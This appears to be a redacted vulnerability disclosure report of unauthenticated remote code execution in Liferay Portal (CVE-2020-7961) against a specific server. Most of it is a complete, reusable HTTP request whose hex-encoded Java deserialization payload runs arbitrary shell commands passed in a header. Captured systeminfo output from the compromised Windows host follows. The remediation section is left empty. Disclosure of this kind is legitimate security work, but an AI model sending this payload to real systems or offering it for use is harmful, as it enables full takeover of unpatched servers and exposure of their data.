CVE-2020-7961 RCE Liferay Portal Unauthenticated via https://████████/

How it was found

poc:

POST /api/jsonws/invoke HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Length: 4939
Content-Type: application/x-www-form-urlencoded
Referer: https://██████//api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
cmd2: systeminfo
Accept-Encoding: gzip

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=tdmrl&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D

Attacker can read response from system for command systeminfo

Host Name:                █████████
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:        ███████
Registered Organization: ███
Product ID:                00429-70000-00000-AA946
Original Install Date:     8/5/2023, 8:02:29 PM
System Boot Time:          9/25/2024, 11:45:46 AM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2195 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.0, 12/17/2019
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     131,071 MB
Available Physical Memory: 123,442 MB
Virtual Memory: Max Size:  146,200 MB
Virtual Memory: Available: 131,089 MB
Virtual Memory: In Use:    15,111 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    ███████
Logon Server:              N/A
Hotfix(s):                 17 Hotfix(s) Installed.
                           [01]: KB5041974
                           [02]: KB4470788
                           [03]: KB4486153
                           [04]: KB4577586
                           [05]: KB5005112
                           [06]: KB5043050
                           [07]: KB5028316
                           [08]: KB5030505
                           [09]: KB5031589
                           [10]: KB5032306
                           [11]: KB5034863
                           [12]: KB5035963
                           [13]: KB5037017
                           [14]: KB5039335
                           [15]: KB5040563
                           [16]: KB5041577
                           [17]: KB5043126
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 13
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: █████████
                           [02]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 14
                                 Status:          Hardware not present
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

█████

Impact

Attacker can execute commands on server

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-7961

Steps to Reproduce

I write steps in Description

Suggested Mitigation/Remediation Actions